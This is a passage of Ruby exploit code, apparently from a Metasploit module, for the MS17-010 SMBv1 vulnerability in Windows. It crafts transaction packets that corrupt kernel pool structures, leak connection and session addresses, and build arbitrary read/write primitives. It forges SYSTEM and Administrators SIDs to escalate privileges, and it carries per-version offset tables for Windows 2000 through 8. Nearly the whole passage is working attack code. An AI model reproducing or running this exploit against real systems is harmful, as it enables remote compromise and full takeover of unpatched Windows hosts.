      pkt = create_nt_trans_secondary_packet(mid: @@special_mid, param: "\xff"*4, paramDisplacement: xPREV_TRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET']+4)
      self.simple.client.smb_send(pkt.to_s)

      # restore trans2.InParameters pointer before leaking next transaction
      pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\x00"*4, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET']+4)
      self.simple.client.smb_send(pkt.to_s)
    end

    do_smb_echo()

    # ================================
    # leak transaction
    # ================================
    # modify TRANSACTION member to leak info
    # function=5 (NT_TRANS_RENAME)
    pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\x05", dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_FUNCTION_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)

    # parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
    data = [4, 4, 4, 0x100, 0x100].pack("VVVVV")  #pack('<IIIII', 4, 4, 4, 0x100, 0x100)
    pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: data, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_PARAMCNT_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)

    pkt = create_nt_trans_secondary_packet(mid: @@special_mid)
    self.simple.client.smb_send(pkt.to_s)

    leakData = recv_transaction_data(@@special_mid, 0x100)
    leakData = leakData[4..-1]  # remove param

    chunk = leakData[xHEAP_CHUNK_PAD_SIZE..-1].unpack("v")[0]
    #if chunk != (xTRANS_CHUNK_SIZE // info['POOL_ALIGN'])
    #  raise MS17_010_Error, "Chunk size wrong in leaked data: 0x#{chunk.to_s(16)}"
    #end

    # extract leak transaction data and make next transaction to be trans2
    leakTranOffset = xHEAP_CHUNK_PAD_SIZE + xHEAP_HDR_SIZE
    leakTrans = leakData[leakTranOffset..-1]
    fmt = @ctx['PTR_FMT']
    _, connection_addr, session_addr, treeconnect_addr, flink_value = leakTrans[8..-1].unpack(fmt * 5) #unpack_from('<'+fmt*5, leakTrans, 8)
    inparam_value, outparam_value, indata_value = leakTrans[@ctx['TRANS_INPARAM_OFFSET']..-1].unpack(fmt * 3) #unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
    trans2_mid = leakTrans[@ctx['TRANS_MID_OFFSET']..-1].unpack("v")[0] #unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]

    # not 1:1
    print_status("\t[+] Successfully Leaked Transaction!")
    print_status("\t[+] Successfully caught Fish-in-a-barrel")
    print_status("<---------------- | Leaving Danger Zone | ---------------->")
    print_status("Reading from CONNECTION struct at: 0x#{connection_addr.to_s(16)}")

    trans2_addr = inparam_value - @ctx['TRANS_SIZE'] - xTRANS_NAME_LEN
    trans1_addr = trans2_addr - xTRANS_CHUNK_SIZE * 2

    if datastore['DBGTRACE']
      print_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
      print_status("SESSION: 0x#{session_addr.to_s(16)}")
      print_status("FLINK: 0x#{flink_value.to_s(16)}")
      print_status("InData: 0x#{indata_value.to_s(16)}")
      print_status("MID: 0x#{trans2_mid.to_s(16)}")
      print_status("TRANS1: 0x#{trans1_addr.to_s(16)}")
      print_status("TRANS2: 0x#{trans2_addr.to_s(16)}")
    end

    # ================================
    # modify trans struct to be used for arbitrary read/write
    # ================================
    # modify
    # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
    # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
    # Note: HIDWORD of trans1.InParameter is still 0xffffffff
    xTRANS_OFFSET = 0x100000000 - (@ctx['TRANS_SIZE'] + xTRANS_NAME_LEN)
    param = [trans1_addr, trans1_addr+0x200, trans2_addr].pack(fmt * 3) #pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr)
    pkt = create_nt_trans_secondary_packet(mid: @ctx['fid'], param: param, paramDisplacement: xTRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)
    do_smb_echo()

    # modify trans1.mid
    trans1_mid = next_multiplex_id()
    param = [trans1_mid].pack("v") # pack('<H', trans1_mid)
    pkt = create_trans_secondary_packet(mid: @ctx['fid'], param: param, paramDisplacement: @ctx['TRANS_MID_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)
    do_smb_echo()

    @ctx['connection'] = connection_addr
    @ctx['session'] = session_addr
    @ctx['trans1_mid'] = trans1_mid
    @ctx['trans1_addr'] = trans1_addr
    @ctx['trans2_mid'] = trans2_mid
    @ctx['trans2_addr'] = trans2_addr
  end

  def create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
    xSID_SYSTEM =  "\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00" # pack('<BB5xB'+'I', 1, 1, 5, 18)
    xSID_ADMINISTRATORS = "\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00" #pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
    xSID_AUTHENICATED_USERS = "\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00" #pack('<BB5xB'+'I', 1, 1, 5, 11)
    xSID_EVERYONE = "\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" #pack('<BB5xB'+'I', 1, 1, 1, 0)
    # SID_SYSTEM and SID_ADMINISTRATORS must be added
    sids = [ xSID_SYSTEM, xSID_ADMINISTRATORS, xSID_EVERYONE, xSID_AUTHENICATED_USERS ]
    # - user has no attribute (0)
    # - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
    # - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
    attrs = [ 0, 0xe, 7, 7 ]

    # assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
    # fake user and groups will be in same buffer of original one
    # so fake sids size must NOT be bigger than the original sids
    fakeUserAndGroupCount = [userAndGroupCount, 4].min #min(userAndGroupCount, 4)
    fakeUserAndGroupsAddr = userAndGroupsAddr

    addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * @ctx['PTR_SIZE'] * 2)
    fakeUserAndGroups = ""
    for i in 0..fakeUserAndGroupCount -1 # fuggin ruby, hope it isn't off by 1
      sid = sids[i]
      atr = attrs[i]
      fakeUserAndGroups << [addr, atr].pack(@ctx['PTR_FMT'] * 2)
      addr += sid.length
    end
    for i in 0..fakeUserAndGroupCount -1
      fakeUserAndGroups << sids[i]
    end

    return fakeUserAndGroupCount, fakeUserAndGroups
  end

  # Large pool allocation in NT Trans adds the tags Frag and Free to data returned.
  # We can use this information leak and determine by offset the arch size.
  # https://blogs.msdn.microsoft.com/ntdebugging/2012/01/27/stop-0x19-in-a-large-pool-allocation/
  #
  def leak_frag_size(fid)
    # use same mid for NT Trans and NT Trans Secondary
    mid = next_multiplex_id()

    op = ::Rex::Proto::SMB::Constants::NT_TRANSACT_RENAME

    r1pkt = create_nt_trans_packet(op, param: [fid].pack("V"), mid: mid, data: Rex::Text.rand_text_alpha(0x10d0), # data: "A" * 0x10d0,#
                                  maxParameterCount: GROOM_TRANS_SIZE - 0x10d0 - TRANS_NAME_LEN)

    r2pkt = create_nt_trans_secondary_packet(mid: mid, data: Rex::Text.rand_text_alpha(276)) # data: "B" * 276) #

    r1bin = r1pkt.to_s[0..-9]
    r2bin = r1pkt.to_s[-8..-1] + r2pkt.to_s
    self.simple.client.smb_send(r1bin)
    self.simple.client.smb_send(r2bin)

    data = recv_transaction_data(mid, 0x10d0 + 276)
    data = data[0x10d4..-1]

    if data[X64_FRAG_TAG_OFFSET..-1].starts_with? 'Frag'
      @ctx['arch'] = 'x64'
      @ctx['FRAG_POOL_SIZE'] = data[X64_FRAG_TAG_OFFSET - 2].ord * X64_POOL_ALIGN
    elsif data[X86_FRAG_TAG_OFFSET..-1].starts_with? 'Frag'
      @ctx['arch'] = 'x86'
      @ctx['FRAG_POOL_SIZE'] = data[X86_FRAG_TAG_OFFSET - 2].ord * X86_POOL_ALIGN
    else
      raise MS17_010_Error, "Unable to parse Frag leak data!"
    end

    vprint_status("Frag pool info leak: arch=#{@ctx['arch']}, size=0x#{@ctx['FRAG_POOL_SIZE'].to_s(16)}")
  end

  def bin_to_hex(s)
    s.each_byte.map { |b| "%02x" % b  }.join
  end

  def recv_transaction_data(mid, len)
    data = ''
    while data.length < len
      raw = self.simple.client.smb_recv

      pkt = CONST::SMB_NTTRANS_RES_PKT.make_struct
      pkt.from_s(raw)

      if pkt['Payload']['SMB'].v['MultiplexID'].to_s == mid.to_s
        data += pkt['Payload'].v['Payload'][1..-1]
      end
    end

    return data
  end

  def smb_send_recv_raw(raw)
    self.simple.client.smb_send(raw)
    data = self.simple.client.smb_recv()

    pkt = CONST::SMB_BASE_PKT.make_struct
    pkt.from_s(data)

    pkt
  end

  def create_nt_trans_packet(subcommand, tid: nil, uid: nil, pid: nil, mid: nil, setup: '', param: '', data: '', maxSetupCount: nil, totalParameterCount: nil, totalDataCount: nil, maxParameterCount: nil, maxDataCount: nil)
    pkt = CONST::SMB_NTTRANS_PKT.make_struct
    set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
    pkt['Payload']['SMB'].v['WordCount'] = 19 + setup.length

    pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end
    pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end
    pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
    pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end  # doesnt match?
    pkt['Payload'].v['ParamCount'] = param.length
    pkt['Payload'].v['DataCount'] = data.length
    pkt['Payload'].v['SetupCount'] = setup.length
    pkt['Payload'].v['SetupData'] = setup

    pkt['Payload'].v['Subcommand'] = subcommand

    pkt = put_trans_data(pkt, data: data, param: param)

    return pkt
  end

  def create_nt_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, wct: 18, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
    pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
    set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
    pkt['Payload']['SMB'].v['WordCount'] = wct

    pkt['Payload'].v['ParamCountTotal'] = param.length
    pkt['Payload'].v['DataCountTotal'] = data.length
    pkt['Payload'].v['ParamCount'] = param.length
    pkt['Payload'].v['DataCount'] = data.length
    pkt['Payload'].v['DataDisplace'] = dataDisplacement
    pkt['Payload'].v['ParamDisplace'] = paramDisplacement

    pkt = put_trans_data(pkt, data: data, param: param)
    pkt
  end

  def create_trans_packet(tid: nil, uid: nil, pid: nil, mid: nil, setup: '', param: '', data: '', maxSetupCount: nil, totalParameterCount: nil, totalDataCount: nil, maxParameterCount: nil, maxDataCount: nil)
    pkt = CONST::SMB_TRANS_PKT.make_struct
    set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
    pkt['Payload']['SMB'].v['WordCount'] = 14 + setup.length

    pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end
    pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end
    pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
    pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end
    pkt['Payload'].v['ParamCount'] = param.length
    pkt['Payload'].v['DataCount'] = data.length
    pkt['Payload'].v['SetupCount'] = setup.length
    pkt['Payload'].v['SetupData'] = setup

    pkt['Payload'].v['Flags'] = 0
    pkt['Payload'].v['Timeout'] = 0xffffffff

    pkt = put_trans_data(pkt, data: data, param: param)

    pkt
  end

  # Note: Setup length is included when len(param) is called
  def put_trans_data(pkt, len: 0, param: '', data: '', noPad: false)
    pkt['Payload'].v['ParamOffset'] = 0
    pkt['Payload'].v['DataOffset'] = 0

    # SMB header: 32 bytes
    # WordCount: 1 bytes
    # ByteCount: 2 bytes
    #offset = 32 + 1 + len + 2 #len(pkt['Parameters']) + 2
    len = pkt.to_s.length - 4
    param = param.b
    data = data.b
    offset = len

    transData = ''
    if param != ''
      padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
      pkt['Payload'].v['ParamOffset'] = offset + padLen
      transData = ("\x00" * padLen) + param
      offset += padLen + param.length
    end

    if data != ''
      padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
      pkt['Payload'].v['DataOffset'] = offset + padLen
      transData += ("\x00" * padLen) + data
    end

    pkt['Payload'].v['Payload'] = transData
    pkt
  end

  def create_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
    pkt = CONST::SMB_BASE_PKT.make_struct
    set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)

    param = param.b
    data = data.b

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION_SECONDARY
    pkt['Payload']['SMB'].v['WordCount'] = 8

    base_offset = 51 #pkt.to_s.length - 4
    param_offset = if param != '' then base_offset else 0 end
    data_offset = if data != '' then base_offset + param.length else 0 end

    raw = pkt.to_s[0..-3]

    raw << [param.length].pack("v")  # total param count
    raw << [data.length].pack("v")   # total data count
    raw << [param.length].pack("v")  # param count
    raw << [param_offset].pack("v")  # param offset
    raw << [paramDisplacement].pack("v") # param displacement
    raw << [data.length].pack("v")   # data count
    raw << [data_offset].pack("v")
    raw << [dataDisplacement].pack("v") # data displacement

    payload = param + data
    raw << [payload.length].pack("v") #BCC

    raw += param + data

    # fix nbss header
    raw = raw[4..-1]
    nbss = [raw.length].pack("N")
    raw = nbss + raw

    return raw
  end

  def do_write_andx_raw_pipe(fid: 0, data: '', tid: nil, uid: nil, pid: nil, mid: nil)
    pkt = CONST::SMB_WRITE_PKT.make_struct
    set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
    pkt['Payload']['SMB'].v['WordCount'] = 12

    base_offset = 24

    pkt['Payload'].v['AndX'] = 0xff
    pkt['Payload'].v['FileID'] = fid
    pkt['Payload'].v['Offset'] = 0
    pkt['Payload'].v['WriteMode'] = 4  # SMB_WMODE_WRITE_RAW_NAMED_PIPE
    pkt['Payload'].v['Remaining'] = 1000 + Random.rand(10000) # 12345  # can be any. raw named pipe does not use it
    pkt['Payload'].v['DataLenHigh'] = 0
    pkt['Payload'].v['DataLenLow'] = data.length
    pkt['Payload'].v['DataOffset'] = 32 + 1 + base_offset + 2 + 1

    #pkt['Payload'].v['Payload'] = "\x00" + data
    #pkt['Payload'].v['DataOffsetHigh'] = ## we need to remove this!

    # DataOffsetHigh adds 4 bytes, BCC +2
    raw = pkt.to_s[0..-7]

    raw << [data.length + 1].pack("v")  # add 1 for pad byte
    raw << "\x00" # pad byte
    raw << data

    # fix nbss header
    raw = raw[4..-1]
    nbss = [raw.length].pack("N")
    raw = nbss + raw

    self.simple.client.smb_send(raw)

    return self.simple.client.smb_recv()
  end

  def do_smb_echo(tid: nil, uid: nil, pid: nil, mid: nil, data: nil)
    if data == nil
      data = Rex::Text.rand_text_alpha(1) #"\x41"
    end

    pkt = CONST::SMB_BASE_PKT.make_struct

    set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_ECHO
    pkt['Payload']['SMB'].v['WordCount'] = 1

    # build echo packet
    raw = pkt.to_s[0..-3]

    raw << [data.length].pack("v")  # echo count
    raw << [data.length].pack("v")  # BCC
    raw << data

    # fix nbss header
    raw = raw[4..-1]
    nbss = [raw.length].pack("N")
    raw = nbss + raw

    self.simple.client.smb_send(raw)
    self.simple.client.smb_recv()
  end

  # Sets common SMB1 Header values used by the various
  # packets in the exploit.
  def set_smb1_headers(pkt, tid: nil, uid: nil, pid: nil, mid: nil)
    # fill with defaults
    self.simple.client.smb_defaults(pkt['Payload']['SMB'])

    # special case: do not ever let mid interfere with fid
    pkt['Payload']['SMB'].v['MultiplexID'] = if mid != nil then mid else next_multiplex_id() end

    if uid != nil
      pkt['Payload']['SMB'].v['UserID'] = uid
    end

    if tid != nil
      pkt['Payload']['SMB'].v['TreeID'] = tid
    end

    if pid != nil
      pkt['Payload']['SMB'].v['ProcessID'] = pid
    end

    # Flags: 0x18, Canonicalized Pathnames, Case Sensitivity
    pkt['Payload']['SMB'].v['Flags1'] = 0x18

    # Flags2: 0x4801, Error Code Type, Extended Security Negotiation, Long Names Allowed
    pkt['Payload']['SMB'].v['Flags2'] = if self.simple.client.require_signing then 0x4807 else 0x4801 end

    pkt
  end

  @@last_multiplex_id = 1000 + Random.rand(20000)

  def next_multiplex_id
    @@last_multiplex_id += 1 + Random.rand(21)
    if 0x4000 <= @@last_multiplex_id && @@last_multiplex_id <= 0x4110
      @@last_multiplex_id += 0x120
    end

    return @@last_multiplex_id
  end

  @@special_mid = 0
  @@extra_last_mid = 0

  def reset_extra_multiplex_id()
    @@special_mid = (next_multiplex_id() & 0xff00) - 0x100
    @@extra_last_mid = @@special_mid
  end

  def next_extra_multiplex_id()
    @@extra_last_mid += 1
    return @@extra_last_mid
  end

  def calc_alloc_size(size, align_size)
    return (size + align_size - 1) & ~(align_size - 1)
  end

  WIN7_64_SESSION_INFO = {
    'SESSION_SECCTX_OFFSET'=> 0xa0,
    'SESSION_ISNULL_OFFSET'=> 0xba,
    'FAKE_SECCTX'=>  [0x28022a, 1, 0, 0, 2, 0, 1].pack("VVQ<Q<VVC"), #pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
    'SECCTX_SIZE'=> 0x28,
  }

  WIN7_32_SESSION_INFO = {
    'SESSION_SECCTX_OFFSET'=> 0x80,
    'SESSION_ISNULL_OFFSET'=> 0x96,
    'FAKE_SECCTX'=>  [0x1c022a, 1, 0, 0, 2, 0, 1].pack("VVVVVVC"), #pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
    'SECCTX_SIZE'=> 0x1c,
  }

  # win8+ info
  WIN8_64_SESSION_INFO = {
    'SESSION_SECCTX_OFFSET'=> 0xb0,
    'SESSION_ISNULL_OFFSET'=> 0xca,
    'FAKE_SECCTX'=> [0x38022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVQ<Q<Q<Q<VVC"), #pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
    'SECCTX_SIZE'=> 0x38,
  }

  WIN8_32_SESSION_INFO = {
    'SESSION_SECCTX_OFFSET'=> 0x88,
    'SESSION_ISNULL_OFFSET'=> 0x9e,
    'FAKE_SECCTX'=> [0x24022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVVVVVVVC"), # pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
    'SECCTX_SIZE'=> 0x24,
  }

  # win 2003 (xp 64 bit is win 2003)
  WIN2K3_64_SESSION_INFO = {
    'SESSION_ISNULL_OFFSET'=> 0xba,
    'SESSION_SECCTX_OFFSET'=> 0xa0,  # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
    'SECCTX_PCTXTHANDLE_OFFSET'=> 0x10,  # PCtxtHandle is at offset 0x8 but only upperPart is needed
    'PCTXTHANDLE_TOKEN_OFFSET'=> 0x40,
    'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
    'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
  }

  WIN2K3_32_SESSION_INFO = {
    'SESSION_ISNULL_OFFSET'=> 0x96,
    'SESSION_SECCTX_OFFSET'=> 0x80,  # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
    'SECCTX_PCTXTHANDLE_OFFSET'=> 0xc,  # PCtxtHandle is at offset 0x8 but only upperPart is needed
    'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
    'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
    'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
  }

  # win xp
  WINXP_32_SESSION_INFO = {
    'SESSION_ISNULL_OFFSET'=> 0x94,
    'SESSION_SECCTX_OFFSET'=> 0x84,  # PCtxtHandle is at offset 0x80 but only upperPart is needed
    'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
    'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
    'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
    'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'=> 0x40,
    'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'=> 0x5c,
  }

  WIN2K_32_SESSION_INFO = {
    'SESSION_ISNULL_OFFSET'=> 0x94,
    'SESSION_SECCTX_OFFSET'=> 0x84,  # PCtxtHandle is at offset 0x80 but only upperPart is needed
    'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
    'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x3c,
    'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x58,
  }

  # for windows 2008+
  WIN7_32_TRANS_INFO = {
    'TRANS_SIZE' => 0xa0,  # struct size
    'TRANS_FLINK_OFFSET' => 0x18,
    'TRANS_INPARAM_OFFSET' => 0x40,
    'TRANS_OUTPARAM_OFFSET' => 0x44,
    'TRANS_INDATA_OFFSET' => 0x48,
    'TRANS_OUTDATA_OFFSET' => 0x4c,
    'TRANS_PARAMCNT_OFFSET' => 0x58,
    'TRANS_TOTALPARAMCNT_OFFSET' => 0x5c,
    'TRANS_FUNCTION_OFFSET' => 0x72,
    'TRANS_MID_OFFSET' => 0x80,
  }

  WIN7_64_TRANS_INFO = {
    'TRANS_SIZE' => 0xf8,  # struct size
    'TRANS_FLINK_OFFSET' => 0x28,
    'TRANS_INPARAM_OFFSET' => 0x70,
    'TRANS_OUTPARAM_OFFSET' => 0x78,
    'TRANS_INDATA_OFFSET' => 0x80,
    'TRANS_OUTDATA_OFFSET' => 0x88,
    'TRANS_PARAMCNT_OFFSET' => 0x98,
    'TRANS_TOTALPARAMCNT_OFFSET' => 0x9c,
    'TRANS_FUNCTION_OFFSET' => 0xb2,
    'TRANS_MID_OFFSET' => 0xc0,
  }

  WIN5_32_TRANS_INFO = {
    'TRANS_SIZE' => 0x98,  # struct size
    'TRANS_FLINK_OFFSET' => 0x18,
    'TRANS_INPARAM_OFFSET' => 0x3c,
    'TRANS_OUTPARAM_OFFSET' => 0x40,
    'TRANS_INDATA_OFFSET' => 0x44,
    'TRANS_OUTDATA_OFFSET' => 0x48,
    'TRANS_PARAMCNT_OFFSET' => 0x54,
    'TRANS_TOTALPARAMCNT_OFFSET' => 0x58,
    'TRANS_FUNCTION_OFFSET' => 0x6e,
    'TRANS_PID_OFFSET' => 0x78,
    'TRANS_MID_OFFSET' => 0x7c,
  }

  WIN5_64_TRANS_INFO = {
    'TRANS_SIZE' => 0xe0,  # struct size
    'TRANS_FLINK_OFFSET' => 0x28,
    'TRANS_INPARAM_OFFSET' => 0x68,
    'TRANS_OUTPARAM_OFFSET' => 0x70,
    'TRANS_INDATA_OFFSET' => 0x78,
    'TRANS_OUTDATA_OFFSET' => 0x80,
    'TRANS_PARAMCNT_OFFSET' => 0x90,
    'TRANS_TOTALPARAMCNT_OFFSET' => 0x94,
    'TRANS_FUNCTION_OFFSET' => 0xaa,
    'TRANS_PID_OFFSET' => 0xb4,
    'TRANS_MID_OFFSET' => 0xb8,
  }

  X86_INFO = {
    'ARCH' => 'x86',
    'PTR_SIZE' => 4,
    'PTR_FMT' => 'V',
    'FRAG_TAG_OFFSET' => 12,
    'POOL_ALIGN' => 8,
    'SRV_BUFHDR_SIZE' => 8,
  }

  X64_INFO = {
    'ARCH' => 'x64',
    'PTR_SIZE' => 8,
    'PTR_FMT' => 'Q<',
    'FRAG_TAG_OFFSET' => 0x14,
    'POOL_ALIGN' => 0x10,
    'SRV_BUFHDR_SIZE' => 0x10,
  }

  OS_ARCH_INFO = {
    # for Windows Vista, 2008, 7 and 2008 R2
    'WIN7' => {
      'x86' => {
        'CPUARCH' => X86_INFO,
        'OFFSETS' => WIN7_32_TRANS_INFO,
        'SESSION' => WIN7_32_SESSION_INFO
      },
      'x64' => {
        'CPUARCH' => X64_INFO,
        'OFFSETS' => WIN7_64_TRANS_INFO,
        'SESSION' => WIN7_64_SESSION_INFO
      },
    },
    # for Windows 8 and later
    'WIN8' => {
      'x86' => {
        'CPUARCH' => X86_INFO,
        'OFFSETS' => WIN7_32_TRANS_INFO,
        'SESSION' => WIN8_32_SESSION_INFO
      },
      'x64' => {
        'CPUARCH' => X64_INFO,
        'OFFSETS' => WIN7_64_TRANS_INFO,
        'SESSION' => WIN8_64_SESSION_INFO
      },
    },
    'WINXP' => {
      'x86' => {
        'CPUARCH' => X86_INFO,
        'OFFSETS' => WIN5_32_TRANS_INFO,
        'SESSION' => WINXP_32_SESSION_INFO
      },
      'x64' => {
        'CPUARCH' => X64_INFO,
        'OFFSETS' => WIN5_64_TRANS_INFO,
        'SESSION' => WIN2K3_64_SESSION_INFO
      },
    },
    'WIN2K3' => {
      'x86' => {
        'CPUARCH' => X86_INFO,
        'OFFSETS' => WIN5_32_TRANS_INFO,
        'SESSION' => WIN2K3_32_SESSION_INFO
      },
      'x64' => {
        'CPUARCH' => X64_INFO,
        'OFFSETS' => WIN5_64_TRANS_INFO,
        'SESSION' => WIN2K3_64_SESSION_INFO
      },
    },
    'WIN2K' => {
      'x86' => {
        'CPUARCH' => X86_INFO,
        'OFFSETS' => WIN5_32_TRANS_INFO,
        'SESSION' => WIN2K_32_SESSION_INFO
      },
    },
  }

  def pick_ctx()
    pick = OS_ARCH_INFO[@ctx['os']][@ctx['arch']]
    @ctx = @ctx.merge(pick['CPUARCH'])
    @ctx = @ctx.merge(pick['OFFSETS'])
    @ctx = @ctx.merge(pick['SESSION'])
    @ctx
  end

  GROOM_TRANS_SIZE = 0x5010   #  includes transaction name, parameters and data, multiple of 16 to make FRAG_TAG_OFFSET valid
  TRANS_NAME_LEN = 4

  X64_FRAG_TAG_OFFSET = 0x14
  X64_POOL_ALIGN = 0x10

  X86_FRAG_TAG_OFFSET = 0x0c
  X86_POOL_ALIGN = 0x08

end
end
